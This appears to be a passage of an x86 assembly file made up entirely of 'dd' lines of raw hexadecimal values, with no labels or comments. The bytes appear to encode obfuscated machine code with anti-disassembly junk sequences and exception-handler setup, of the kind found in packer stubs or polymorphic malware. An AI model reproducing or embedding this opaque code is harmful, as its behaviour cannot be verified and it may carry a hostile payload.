		dd 50400000h, 6C6AB5C3h, 9D8B898Fh, 60731A5h, 0BB665090h
		dd 6690EF15h, 645C2EBFh, 35FFh,	0BD890000h, 6072759h, 258964h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0A07BC351h, 0B8BBD635h, 32F185FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B54F57C3h, 2BF7B62Dh, 14B19589h,	85890607h
		dd 607288Dh, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 6E3B0BC3h, 0E9219C49h, 14h, 9614E582h
		dd 0A628FD5Ch, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 19810F56h
		dd 0E8000000h, 13h, 645A7F51h, 0EDE3E1F2h, 7854EECEh, 0C87B7594h
		dd 5FC95CA2h, 0FFF98B5Bh, 70659B5h, 0A1C38106h,	0FF4C6464h
		dd 71AC995h, 12CE906h, 9D890000h, 607027Dh, 70E600B0h
		dd 0BF6671E4h, 613CFF97h, 114830Fh, 12E90000h, 0C9000000h
		dd 0D16C54F2h, 0A967A53Fh, 59774B10h, 0B9CDF8E1h, 0C8B60F24h
		dd 0AE9h, 4CB34F00h, 3FD4F9F2h,	0BA93A8CEh, 6, 2870F60h
		dd 60000000h, 0C18B6161h, 1A6D9D8Bh, 880F0607h,	6, 2B5DBD8Bh
		dd 0E8C10607h, 45B53104h, 66060701h, 8D89E2F7h,	60712E9h
		dd 11E9C82Bh, 0B1000000h, 587B650Ah, 24734ED9h,	0CCB2C91Dh
		dd 910F1B0Dh, 0B70FD18Bh, 4E9FBh, 0BF660000h, 858BB0E4h
		dd 607172Dh, 0DF18D29h,	0C0830607h, 6840F07h, 57000000h
		dd 564ABB66h, 0C0835Fh,	6800Fh,	0BD8B0000h, 6072FFDh, 830FD03Bh
		dd 22h,	12E8h, 35C7DE00h, 4E80B363h, 1738DEF4h,	4E708943h
		dd 5BBF6664h, 41E9h, 0F88B6600h, 8D8B1EB3h, 6070DC5h, 0F01E183h
		dd 2D84h, 0DCEF8100h, 8B148DE2h, 7007DBDh, 0C5A58306h
		dd 0FE06070Dh, 306D8D89h, 95890607h, 607172Dh, 8BFA8B66h
		dd 70881BDh, 0E906h, 0B58D0000h, 60AD609h, 96D9D0Bh, 6A0607h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EC35343h
		dd 0CEF54E83h, 51BFD4C6h, 0FF20FBC3h, 716B595h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0EF7C3DEh, 4AB9702Ah, 60000008h, 0D28194B5h,	7EBB25ABh
		dd 0FCE18361h, 0FCD88B66h, 25459D8Bh, 0B80607h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 69C352h, 0C5958915h, 8B06071Eh, 71425BDh
		dd 6AD22B06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 3108C355h, 712ED9Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D0BF662Fh
		dd 0F9BF0F2Ch, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0BBC41B24h, 26E99D8Bh
		dd 958B0607h, 6070679h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 2AC35040h, 8BAC9E59h,	70A9D9Dh, 0E58D8B06h
		dd 6606072Ch, 8B50DE8Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 12A1BD03h, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 1FCB39C3h, 0FEB70F4Bh
		dd 10E5BD83h, 0F000607h, 0A184h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 9596EF10h
		dd 4A765BFh, 0B812h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 4B32C4C3h, 810F40C9h
		dd 6, 1AE9BD8Bh, 8D8D0607h, 6074E1Ch, 0FE8h, 9C9BE600h
		dd 2D126ADBh, 26DB581Dh, 225E3C5Dh, 1305BF66h, 6AE1FF5Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 7C0DC357h, 0BD8BB171h, 607249Dh, 10BD8D29h
		dd 0BD830607h, 6072D05h, 0F9840F00h, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 6FC3C357h, 13E96052h, 0B4000000h, 8D905287h,	9B4B14C8h
		dd 0E415A2C3h, 0A88EC7D1h, 8950D253h, 72A719Dh,	83615B06h
		dd 72D05BDh, 840F0106h,	3C7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E7C35242h,	8F4A7B3Fh, 93CF8787h
		dd 5359D8Bh, 0BD830607h, 6072D05h, 5A860F03h, 8B000003h
		dd 70EA19Dh, 9D096006h,	60700E9h, 6AD98C66h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 3AC355h, 6880FFCh, 29000000h, 708C195h, 4E18006h, 0DBAAF381h
		dd 0C90A31DAh, 0D9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 6A626EC3h, 0B9BD8956h
		dd 5F06070Dh, 13B98589h, 858B0607h, 6070629h, 26B19D8Bh
		dd 85330607h, 6071E75h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0D9C35242h, 0F8DA8485h, 0DA8B6650h, 53240489h
		dd 6A5FF9h, 0EE6E68F5h,	481FA0Fh, 0F159124h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0F104ECC7h, 0BE8747Bh, 91000000h, 9C34B698h,	60D1922h
		dd 9D2B6993h, 607072Dh,	0E99D8B5Bh, 0FF060707h,	71D0195h
		dd 0AD858906h, 60060AA6h, 0FABF0F61h, 1B3E9h, 8880F00h
		dd 57000000h
		dd 830Fh, 8B5B0000h, 0AA6A585h,	56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 4D49D10Eh
		dd 86BB66CFh, 1800C794h, 52000000h, 850F53h, 5F000000h
		dd 0A9B58B5Bh, 6A060AA6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F97C353h, 858BFEBFh
		dd 6070C21h, 0B63864BBh, 8B068914h, 7062985h, 0A5BD8906h
		dd 89060704h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 233E33C3h, 66B7D5D5h, 6608A4BFh
		dd 3686F381h, 0BF665650h, 895F1E66h, 0BB662434h, 0B5FFDB51h
		dd 60AA6A5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0B7C35040h, 0B4687B68h,	66F863B9h, 481DF8Bh, 0BB4A4B24h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0C23F3836h, 9D233F2Ch, 60702B1h,	14E8h
		dd 0B88FB00h, 1C73A6h, 86FB1D0Eh, 8BFD1117h, 18A43F4Ah
		dd 9E921h, 319E0000h, 37662C3Bh, 5F0C3D25h, 0A6AD858Dh
		dd 0BF0F060Ah, 90DA8BFEh, 6E8h,	0EAB2E700h, 60D4E3D2h
		dd 4ABE5F57h, 613C3077h, 8B57505Fh, 89905FDEh, 715C58Dh
		dd 195FF06h, 6A06071Dh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0B4DDC355h,	15C1A0Ch
		dd 0F33FAFFEh, 10E9h, 5C539200h, 82608308h, 0D39824D0h
		dd 178EFCD3h, 5BF85749h, 58D0F61h, 0BF000000h, 61C9EA1Eh
		dd 2D0585C7h, 30607h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 9E9E7C3h, 1990DE5Ch
		dd 95096B43h, 60704BDh,	0A6ADBD83h, 0F00060Ah, 4484h, 8D0F5700h
		dd 6, 0A7AEDB81h, 8B5B00B5h, 71371BDh, 46E906h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0D11D7CC3h, 0AC18297Eh, 853160FCh, 60712B1h,	0C305061h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0D800Fh
		dd 8E90000h, 2F000000h,	3F4B582Dh, 839A09FFh, 72D05BDh
		dd 850F0306h, 3ADh, 8F9DBFh, 0ADBD835Eh, 60AA6h, 39B840Fh
		dd 13E80000h, 5D000000h, 1BC5D724h, 0D9893A47h,	457AB6Dh
		dd 82F49272h, 0D88B309Ch, 0ADB5FF5Fh, 6A060AA6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0FDC0C356h, 4D46A6A4h, 0C6AD516h, 559D8Bh, 95FF0607h
		dd 607043Dh, 0B648BB66h, 0A6A1B58Bh, 6A060Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 19892C3h
		dd 0FE9h, 0C8321B00h, 6F5B7E73h, 0EC9613Ah, 0E1BCF584h
		dd 106C7h, 0BD330001h, 6070D31h, 24348950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ACC35545h, 3A6DDB81h
		dd 0B5FF7064h, 60AA6ADh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0AAC35242h, 0CE8h, 6E489000h,	3D968738h
		dd 0FDCBA7FFh, 35BD030Dh, 5B060701h, 1A5595FFh,	0EBBF0607h
		dd 8B23DFADh, 0AA6A1B5h, 8BFE8A06h, 7138985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 65787B45h, 2B99BD8Bh, 86890607h, 0C4h, 8BCCEB80h, 7067995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 13830F8Fh, 0E9000000h, 0Eh, 0AC3E32A9h
		dd 0A425CCEAh, 82F747CEh, 0C2831A4Dh, 59BD8B04h, 89060714h
		dd 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0DC5F5EC3h, 5DBF6686h, 1F858D25h,	6A060ABAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 3575C353h, 0F6442289h, 0B88689A7h, 89000000h
		dd 72A7D8Dh, 6A006A06h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 44AAC357h, 50FC9DBEh
		dd 8B6071AFh, 704C59Dh,	318D0906h, 6106070Ah, 0A6ADB5FFh
		dd 0FB8B060Ah, 1AF995FFh, 8E90607h, 1A000000h, 71046CF9h
		dd 50D70689h, 0F18B5060h, 95F7BB5Fh, 896137C7h,	0FA8B2434h
		dd 0A6ADB5FFh, 6A060Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 2A9E2FC3h, 0EE264AA0h, 0C141BB66h
		dd 152995FFh, 5DB30607h, 12A5BD83h, 0F000607h, 2584h, 8B509600h
		dd 6A96FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 4A0258C3h, 0B5FF6C00h, 60AA6ADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ACC35141h, 0BC174B70h
		dd 1ABBCB8Bh, 662F79D8h, 7EBEB81h, 55595FFh, 6A0607h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0FC920AC3h, 8960F8DFh, 7153985h, 19858B06h, 61060717h
		dd 0A6ADB5FFh, 95FF060Ah, 6071FF9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 21C35343h, 5BD8960h, 0F060726h
		dd 68Eh, 0DDB58B00h, 61060725h,	1F1DBD83h, 0F020607h, 3884h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9D8BC49Eh, 6072BF9h, 6DD858Bh, 8D890607h
		dd 6070B95h, 8B0000C6h,	72FD59Dh, 9185C706h, 60726h, 89000000h
		dd 72E19B5h, 0F40EE906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 6005D4C3h, 8B6E1634h
		dd 56006AC1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 362178F7h, 311FD1CCh, 785858Dh, 81660607h
		dd 5058A7DBh, 2B5B29BBh, 2404892Dh, 3BDBF66h, 6AFC006Ah
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0E9CBA3FEh, 89788FF5h, 0B70F50AFh, 3860FD9h
		dd 53000000h, 0BF0F5FF9h, 1F858DF8h, 66060B6Ah,	0C083DF8Bh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BF669DCBh, 66903FADh, 9050FE8Bh, 9890Fh
		dd 860F0000h, 3, 6ADBBF0Fh, 6820F00h, 89000000h, 72601B5h
		dd 8B006A06h, 0BD8950F8h, 6070A05h, 0C195FF5Fh,	0E8060704h
		dd 10h,	38333106h, 3F8FF292h, 0BCC13093h, 0C3BA8B0Dh, 2D7D9D09h
		dd 8D5B0607h, 0AA64F8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 6F312A69h, 6AD1FF30h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0DD17C356h, 0D8BF0FF4h, 659D2357h, 5B060708h
		dd 218DBD83h, 0F010607h, 8485h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 5F8C9D4Eh
		dd 1E6E781h, 26A59CFh, 50FE8B66h
		dd 0AE8h, 0C60F3A00h, 0BD6084DBh, 66575E6Bh, 5F58D2BFh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3583C355h, 0B70F2A37h,	0E99D8BD8h
		dd 0FF06071Eh, 71AF995h, 0FE906h, 2B420000h, 0F6CEA4Ch
		dd 0CD013D58h, 0B9FCD4C8h, 0E5AE955h, 0E80000h,	5D000000h
		dd 6A29ED81h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 816609C3h, 89081DEBh, 700A195h
		dd 8858D06h, 6A060A91h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0D77AC352h,	0B7177C4Bh
		dd 90CAB36Dh, 0AB5BBB66h, 15BF6650h, 6A90C5h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 9556F4C3h
		dd 6A37F501h, 6800Fh, 0E7810000h, 3E04688Dh, 64F98B66h
		dd 35FFh, 0FE90000h, 0C7000000h, 768E0D11h, 3A22AFEBh
		dd 496C0CA6h, 8D891252h, 6071D55h, 258964h, 81000000h
		dd 0DED05CDBh, 0F185FF6Eh, 0F060732h, 684h, 79BD8B00h
		dd 6A06070Ch, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 25BE1C91h, 7CCBE80Eh, 69BD8B97h
		dd 0BF060706h, 42547505h, 11C5B5FFh, 71BB0607h,	0FF4B3B8Dh
		dd 71AC995h, 127E906h, 89560000h, 70E3985h, 0B05F06h, 13E8h
		dd 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h, 7EEED8B1h
		dd 30859D8Bh, 0E65F0607h, 47F78170h, 0E47B5DC0h, 85BD8971h
		dd 3C06072Dh, 0E6830F61h, 8B000000h, 0C8B60FDAh, 2820Fh
		dd 0F98B0000h, 6BAh, 870F5100h,	6, 2E999529h, 8B5B0607h
		dd 0DD8D89C1h, 0C1060730h, 0BD2B04E8h, 6071E01h, 66E2F766h
		dd 2B7606BFh, 399D29C8h, 8B060700h, 0E9FB8BD1h,	2, 858B5DB3h
		dd 6070A49h, 2D299D29h,	0C0830607h, 8D896007h, 60725E5h
		dd 0DBD88166h, 0C083619Eh, 25958900h, 3B060708h, 15830FD0h
		dd 0BB000000h, 69851E34h, 64E9h, 6E900h, 74E80000h, 0BF443131h
		dd 12218D8Bh, 0DE90607h, 0B8000000h, 0F49E7133h, 9239E2EEh
		dd 286B9709h, 0F01E183h, 3884h,	8E800h,	97670000h, 663AE209h
		dd 958928A5h, 6071F75h,	21A5835Fh, 0FE060712h, 12619509h
		dd 95890607h, 6070A49h,	0DC0EF81h, 9D097D2Ch, 60700F9h
		dd 0E9h, 4FB58D00h, 6A060AE0h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 55F67260h
		dd 1B98DCB9h, 25959D8Bh, 56500607h, 5F5F16B3h, 16B595FFh
		dd 8B660607h, 7F8B9FAh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 94EAE4C3h, 0AC4BA77Fh
		dd 9E84B61h, 6F000000h,	6F8FA2EDh, 501D756Eh, 0BC5EBB66h
		dd 0FCE1835Bh, 8D73BF66h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 76F86458h
		dd 744B92Dh, 0FE974h, 0CD3C0000h, 0B18E8E55h, 74B72874h
		dd 17E2D406h, 0B8CDh, 81660000h, 0BAFEDBD3h, 0
		dd 6834E781h, 33AD3B15h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 3DE5BC3h, 713819Dh, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0DBBF66E7h, 880D87h, 8E90000h
		dd 0E4000000h, 0B31D96A7h, 8BD5191Ah, 7067995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 168B59B1h, 8D8BB58Bh, 6072CE5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0C7C35141h,	2793C4B3h, 0DBBFB3EEh
		dd 506C564Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0C426A0F6h, 0D8D4BF66h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 10C35343h, 7B3C2883h, 0C82ABF91h
		dd 0BD830A28h, 60710E5h, 57840F00h, 66000000h, 84EEF381h
		dd 0B8h, 898D8900h, 0FC060704h,	4E1C8D8Dh, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5B7D6BC3h, 6CF18FE4h, 8C0FE1FFh, 16h, 11E9h,	23027300h
		dd 0F796F139h, 8EE6F70Bh, 6AAB3A59h, 0BD83B402h, 6072D05h
		dd 0AE840F00h, 83000004h, 72D05BDh, 840F0106h, 4BCh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 64C35747h, 2402877h
		dd 0DE922h, 89C30000h, 0E2CF70F0h, 0DC5B9550h, 838FE8A2h
		dd 72D05BDh, 860F0306h,	446h, 58A0Fh, 6ABF0000h, 6024A33Ch
		dd 0C0D9D01h, 8C660607h, 5DBD03D9h, 3106070Ah, 711FD8Dh
		dd 4E18006h, 0FE9h, 49B5D300h, 8EE25549h, 47D07B1Dh, 5F305159h
		dd 840FC90Ah, 1D7h, 262D9D8Bh, 858B0607h, 6070629h, 33DE8B66h
		dd 71E7585h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0E84322EEh, 7, 286E785Eh,	53D739E1h
		dd 3A59D09h, 5F5B0607h,	0FD8A5250h, 2404895Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 80C35242h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DE5354C3h, 1999E45Dh, 45BD8BCAh, 0E8060714h, 4, 1F03FFh
		dd 0DE9h, 8D23F600h, 6C60CD29h,	63ACCD3Dh, 8B50E0D8h, 0B7042444h
		dd 56008B0Eh, 11E857h, 0F6020000h, 0F3D1F8A5h, 0CDA63D07h
		dd 5250A9A7h, 5B961333h, 44895F5Bh, 0BE80424h, 8000000h
		dd 8BDF051Dh, 0BEF5BE6Ch, 0CE837DCh, 0CB000000h, 3DB1494Dh
		dd 0EE035520h, 8BCD8277h, 585F5FDFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 3EC35242h, 0C2E340CFh, 0EFF9AFE8h
		dd 6830F19h, 8B000000h,	725DDBDh, 195FF06h, 6A06071Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 4351C351h, 8B6C57E3h, 71395BDh, 0EE906h
		dd 0B2CE0000h, 22FA600Bh, 928C5A97h, 7649B85Eh,	0A6AD8589h
		dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD8BDBC3h, 6070981h, 19FE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D57C516Dh, 11E9h, 85279000h, 0B42BAAC2h, 4A0F0E02h
		dd 0A3D43EBh, 70BB9799h, 8B476D5Ah, 0AA6A585h, 0FEB70F06h
		dd 1800C7h, 8B660000h, 0A9B58BD8h, 6A060AA6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2493C350h, 487BF53Dh, 95246B93h, 858BF88Ah, 6070C21h
		dd 0E3CF8166h, 6A0689F1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 8511C353h, 76DB589h
		dd 858B0607h, 6070629h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 8C35646h, 4817B7F1h, 25799D8Bh, 0BD890607h
		dd 6071F59h, 8B044689h,	348950FAh, 861EBF24h, 0B5FF4027h
		dd 60AA6A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	81C35747h, 0EFDCD65Ch, 805189A2h, 0D9CB8166h, 0B9E568AAh
		dd 0C3BF6208h, 81434FFDh, 0BA1A2434h, 6A6217h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 3F7FDCC3h, 69B08983h, 33608B62h, 71D9D85h, 0A2BB6606h
		dd 858D61B8h, 60AA6ADh,	0B7F78166h, 0C38166F6h,	8B504C11h
		dd 240489DEh, 2D419D8Bh, 5CBF0607h, 0FF46BC72h,	71D0195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 3E8760Dh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 72370DB0h, 5CDB7EF3h
		dd 58DF8166h, 585C73Ch,	306072Dh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 41E3C352h, 0EE9h, 0FAEB4300h, 2D3D8CBBh, 6E854B6Eh
		dd 89BA3DB3h, 70CDDB5h,	0ADBD8306h, 60AA6h, 54840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A7781DC3h, 998E266Ah, 0E992AA93h, 45h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DC35747h, 8A7F013Fh
		dd 7B110D12h, 73C0C781h, 30500D1Fh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 69CF80C0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0EEC35242h, 0C135BD32h
		dd 9D2AADCFh, 89FFB70Fh, 71305BDh, 5BD8306h, 306072Dh
		dd 464850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0F6013C3h, 688h,	59958B00h, 66060709h
		dd 61654FBBh, 0F897C381h, 0BD830DDBh, 60AA6ADh,	23840F00h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 6FFAC353h, 0C9B7E3E3h,	0B5FFF88Bh
		dd 60AA6ADh, 5B525ABBh,	95FFF55Dh, 607043Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0F3C35545h, 8BB75D83h
		dd 0AA6A1B5h, 106C706h,	6A000100h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C860C357h
		dd 8A2A2811h, 11E951h, 90AC0000h, 412A9947h, 9BE009A5h
		dd 61928106h, 5FDC9431h, 0E9525050h, 8,	64654D2Fh, 83694337h
		dd 585A310Fh, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0FC03C352h,	0A6ADB5FFh
		dd 8166060Ah, 0FF8D91D7h, 71A5595h, 0DB816606h,	0B58BD6AFh
		dd 60AA6A1h, 3719D89h, 858B0607h, 6071389h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3AC35242h, 0D3178887h
		dd 36C789C0h, 0D0BB661Ah, 0C48689D2h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0ACDCC350h, 34C35560h, 8B73F380h, 7067995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0F37003Bh, 79BF977Dh, 79BD29h, 0C2830607h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BF0F2577h, 205089D9h, 275DB589h, 858D0607h,	60ABA1Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F2C35040h
		dd 6B628975h, 0D6A5C55h, 8689EEB7h, 0B8h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 7CC35242h, 8BB2E80Fh
		dd 72FCD9Dh, 0FF006A06h, 0AA6ADB5h, 0F995FF06h,	6A06071Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8939C351h, 71AD1BDh, 91B58906h, 96060709h
		dd 7A3583BBh, 0DE85047h, 70000000h, 0F700FBE7h,	57F87BC5h
		dd 985B91ABh, 0CE852h, 702D0000h, 49E80C62h, 0FA26DC6h
		dd 5F5FE73Eh, 0B1BB965Fh, 0E947B7FBh, 9, 0F9BF1714h, 0BE9F015Fh
		dd 0ADB5FFC6h, 8B060AA6h, 2995FFDAh, 66060715h,	6986C781h
		dd 12A5BD83h, 0F000607h, 4484h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0A45A3F00h
		dd 0BD0B20D5h, 60701C1h, 0A7DB589h, 60500607h, 0CE9h, 8AFB2100h
		dd 60A5AE26h, 0A237BD94h, 34896101h, 0ADB5FF24h, 9060AA6h
		dd 72FB98Dh, 5595FF06h,	6A060705h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0ED67C352h
		dd 0AC10346Ah, 96191DB4h, 0CE950h, 0E1590000h, 24B9CDF8h
		dd 0DAA768F3h, 565F042Bh, 0F3B8CF81h, 0FF5F0354h, 0AA6ADB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BB661AFBh, 0BD0930A4h, 60713DDh, 1FF995FFh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 92E480C3h, 5096A0C6h, 1D9D8B39h, 8306070Bh
		dd 71F1DBDh, 840F0206h,	86h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 9C35242h, 59C6FDDAh, 6890F42h
		dd 8B000000h, 70E7DBDh,	51D88B06h, 5FD98B53h, 0DD858B5Fh
